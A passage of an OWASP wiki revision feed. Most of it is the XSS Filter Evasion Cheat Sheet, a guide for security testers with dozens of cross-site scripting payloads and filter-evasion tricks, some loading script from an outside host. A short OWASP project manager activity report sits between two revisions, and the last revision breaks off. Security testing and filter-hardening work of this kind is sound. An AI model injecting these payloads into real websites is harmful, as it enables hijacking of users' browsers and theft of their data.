  36.	onEnd() (the onEnd event fires when the timeline ends.    &lt;br /&gt;
  37.	onError() (loading of a document or image causes an error)&lt;br /&gt;
  38.	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
  39.	onFilterChange() (fires when a visual filter completes state change)&lt;br /&gt;
  40.	onFinish() (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
  41.	onFocus() (attacker executes the attack string when the window gets focus)&lt;br /&gt;
  42.	onFocusIn() (attacker executes the attack string when window gets focus)&lt;br /&gt;
  43.	onFocusOut() (attacker executes the attack string when window looses focus)&lt;br /&gt;
  44.	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
  45.	onKeyDown() (user depresses a key)&lt;br /&gt;
  46.	onKeyPress() (user presses or holds down a key)&lt;br /&gt;
  47.	onKeyUp() (user releases a key)&lt;br /&gt;
  48.	onLayoutComplete() (user would have to print or print preview)&lt;br /&gt;
  49.	onLoad() (attacker executes the attack string after the window loads)&lt;br /&gt;
  50.	onLoseCapture() (can be exploited by the releaseCapture() method)&lt;br /&gt;
  51.	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
  52.	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
  53.	onMouseDown() (the attacker would need to get the user to click on an image)&lt;br /&gt;
  54.	onMouseEnter() (cursor moves over an object or area)&lt;br /&gt;
  55.	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
  56.	onMouseMove() (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
  57.	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
  58.	onMouseOver() (cursor moves over an object or area)&lt;br /&gt;
  59.	onMouseUp() (the attacker would need to get the user to click on an image)&lt;br /&gt;
  60.	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
  61.	onMove() (user or attacker would move the page)&lt;br /&gt;
  62.	onMoveEnd() (user or attacker would move the page)&lt;br /&gt;
  63.	onMoveStart() (user or attacker would move the page)&lt;br /&gt;
  64.	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
  65.	onPaste() (user would need to paste or attacker could use the execCommand(&amp;quot;Paste&amp;quot;) function)&lt;br /&gt;
  66.	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
  67.	onProgress() (attacker would use this as a flash movie was loading)&lt;br /&gt;
  68.	onPropertyChange() (user or attacker would need to change an element property)&lt;br /&gt;
  69.	onReadyStateChange() (user or attacker would need to change an element property)&lt;br /&gt;
  70.	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
  71.	onReset() (user or attacker resets a form)&lt;br /&gt;
  72.	onResize() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  73.	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  74.	onResizeStart() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  75.	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
  76.	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
  77.	onRowsEnter() (user or attacker would need to change a row in a data source)&lt;br /&gt;
  78.	onRowExit() (user or attacker would need to change a row in a data source)&lt;br /&gt;
  79.	onRowDelete() (user or attacker would need to delete a row in a data source)&lt;br /&gt;
  80.	onRowInserted() (user or attacker would need to insert a row in a data source)&lt;br /&gt;
  81.	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)&lt;br /&gt;
  82.	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
  83.	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  84.	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  85.	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  86.	onStart() (fires at the beginning of each marquee loop)&lt;br /&gt;
  87.	onStop() (user would need to press the stop button or leave the webpage)&lt;br /&gt;
  88.	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
  89.	onSubmit() (requires attacker or user submits a form)&lt;br /&gt;
  90.	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
  91.	onTrackChange() (user or attacker changes track in a playList)&lt;br /&gt;
  92.	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
  93.	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
  94.	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point.   The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
== LAYER (also only works in Netscape 4.x) ==&lt;br /&gt;
 &amp;lt;LAYER SRC=&amp;quot;http://ha.ckers.org/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
 Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet ===&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http://ha.ckers.org/xss.css&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet part 2 ===&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Remote style sheet part 3 ===&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
===Remote style sheet part 4 === &lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http://ha.ckers.org/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== STYLE tags with broken up JavaScript for XSS ===&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== STYLE attribute using a comment to break up expression === &lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== IMG STYLE with expression ===&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Anonymous HTML with STYLE attribute ===&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page:&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02] [NS4] &lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http://&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable nowraplinks&amp;quot;&lt;br /&gt;
! &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
|}'''&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
= Browser support reference table =&lt;br /&gt;
{| class=&amp;quot;wikitable nowraplinks&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| IE7.0&lt;br /&gt;
| Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.&lt;br /&gt;
|-&lt;br /&gt;
| IE6.0&lt;br /&gt;
| Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.&lt;br /&gt;
|-&lt;br /&gt;
| NS8.1-IE&lt;br /&gt;
| Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.&lt;br /&gt;
|-&lt;br /&gt;
| NS8.1-G&lt;br /&gt;
| Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional&lt;br /&gt;
|-&lt;br /&gt;
| FF2.0&lt;br /&gt;
| Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.&lt;br /&gt;
|-&lt;br /&gt;
| O9.02&lt;br /&gt;
| Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional&lt;br /&gt;
|-&lt;br /&gt;
| NS4&lt;br /&gt;
| Vector works in older versions of Netscape 4.0 - untested.&lt;br /&gt;
|}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: if a vector is not marked it either does not work or it is untested. &lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xss.html http://ha.ckers.org/xss.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
RSnake&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Project_Manager_Activity_Reports/August_13_2012&amp;diff=135442</id>
		<title>OWASP Project Manager Activity Reports/August 13 2012</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Project_Manager_Activity_Reports/August_13_2012&amp;diff=135442"/>
				<updated>2012-09-06T21:22:03Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== OWASP Project Manager Report ==&lt;br /&gt;
==== Work accomplished since July 30, 2012 ====&lt;br /&gt;
===== DHS Funding Proposal =====&lt;br /&gt;
*The [https://docs.google.com/a/owasp.org/document/d/1MA3TI5ssclxvheV8At_ffu2Fuic55SDpOokS3AOvBUc/edit#bookmark=id.ceef3790c8d6 DHS Host Project Funding proposal] has been submitted. We are waiting to hear back from DHS regarding possible interviews of our Host Project Team Leaders. We are in the process of scheduling a meeting with all involved to speak about this proposal and the interviews in more depth. Thank you to [[User:Kate Hartmann|Kate Hartmann]] and Eoin Keary for all of their hard work on this proposal. We hope to hear from Deb sometime this week. The proposal is for $25,000 USD.&lt;br /&gt;
===== Projects Set Up =====&lt;br /&gt;
*[[OWASP Top 10 Defences|OWASP Top 10 Defences]]&lt;br /&gt;
*[[OWASP OpenESSS Project|OWASP OpenESSS Project]]&lt;br /&gt;
*[[OWASP Java J2EE Secure Development Curriculum|OWASP Java J2EE Secure Development Curriculum]]&lt;br /&gt;
*[[OWASP AW00T|OWASP AW00T]]&lt;br /&gt;
*[[OWASP Passfault|OWASP Passfault]]&lt;br /&gt;
*[[OWASP OctoMS|OWASP OctoMS]]&lt;br /&gt;
*[[OWASP OWTF|OWASP OWTF]]&lt;br /&gt;
*[[OWASP Java Uncertain Form Submit Prevention|OWASP Java Uncertain Form Submit Prevention]]&lt;br /&gt;
*[[OWASP Ecuador|OWASP Ecuador]]&lt;br /&gt;
*[[OWASP Path Traverser|OWASP Path Traverser]]&lt;br /&gt;
*[[OWASP Watiqay|OWASP Watiqay]]&lt;br /&gt;
*[[OWASP Mantra OS|OWASP Mantra OS]]&lt;br /&gt;
*[[OWASP Security Shepherd|OWASP Security Shepherd]]&lt;br /&gt;
*[[OWASP Xenotix XSS Exploit Framework|OWASP Xenotix XSS Exploit Framework]]&lt;br /&gt;
===== Project Set Up Confirmations =====&lt;br /&gt;
*[[OWASP File Hash Repository|OWASP File Hash Repository]]&lt;br /&gt;
*[[:Category:OWASP WebGoat.NET|OWASP WebGoat.NET]]&lt;br /&gt;
*[[OWASP AJAX Crawling Tool|OWASP AJAX Crawling Tool]]&lt;br /&gt;
*[[OWASP Odz MultiCMSScanner|OWASP Odz MultiCMSScanner Project]]&lt;br /&gt;
===== Pending Project Applications ===== &lt;br /&gt;
*XSSER: Waiting to hear back from Project Leader. Will not confirm his identity.&lt;br /&gt;
*OWASP BSI IT-Grundschutz Baustein Webanwendungen Review: Waiting to hear back from the Project Leader.&lt;br /&gt;
*Forensic Guide: Waiting to hear back from the Project Leader.&lt;br /&gt;
*Xelenium: Waiting to hear back from the Project Leader.&lt;br /&gt;
*Intelligent Security: Waiting to hear back from the Project Leader.&lt;br /&gt;
===== Other Issues =====&lt;br /&gt;
*Updated Creating Project wiki page, studied Project handbook and Project Assessment Criteria &lt;br /&gt;
*Had a very successful on-boarding process. I was very quickly set up with all the necessary accounts, and went through training with [[User:Kate Hartmann|Kate Hartmann]] on the project management work flow for OWASP project set-ups.&lt;br /&gt;
*Naming issue: If a project applicant refuses to give me his/her real name, should I set up the project any way? Would this violate the OWASP Core Value of Transparency? &lt;br /&gt;
=====Day-to-Day Tasks =====&lt;br /&gt;
*Answering daily project related queries from OWASP Project Leaders and Members&lt;br /&gt;
*Corresponding with project applicants on the status of their applications&lt;br /&gt;
*Setting up projects that meet the 'Sanity Test' on the Incubator Project Applications document (IPA)&lt;br /&gt;
*Confirming set up and status of projects on IPA document that seem to already be set up&lt;br /&gt;
*Creating mailing lists and roadmap pages for projects that are missing this on their wiki pages&lt;br /&gt;
*I've kept the following OWASP Project databases up-to-date for the past two weeks:&lt;br /&gt;
** [https://docs.google.com/a/owasp.org/spreadsheet/ccc?key=0Amvv_7Gz8Z7TdHZfWGhHZ0Z4UFFwZU42djBXcVVLSlE#gid=0 Incubator Project Applications].&lt;br /&gt;
** [https://spreadsheets0.google.com/a/owasp.org/spreadsheet/ccc?pli=1&amp;amp;key=tF9r45eprbpdY6xuSbwEuMw#gid=0 OWASP Project Inventory].&lt;br /&gt;
==== Proposal of future activity ====&lt;br /&gt;
*Continue answering all project related questions&lt;br /&gt;
*Continue setting up new projects as they come in&lt;br /&gt;
*Continue to implement all GPC requests:&lt;br /&gt;
**Meet with the Committee to discuss project lifecycle, project processes and Project Reboot&lt;br /&gt;
**Build and implement marketing standards and offerings for OWASP Projects&lt;br /&gt;
**Continue managing Project databases and keeping them up-to-date&lt;br /&gt;
*Manage the current 200+ OWASP projects &lt;br /&gt;
*Research more project funding possibilities&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135441</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135441"/>
				<updated>2012-09-06T20:23:46Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. &lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xss.html#XSScalc URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//\&amp;quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;'&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== XSS locator 2 ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 '';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
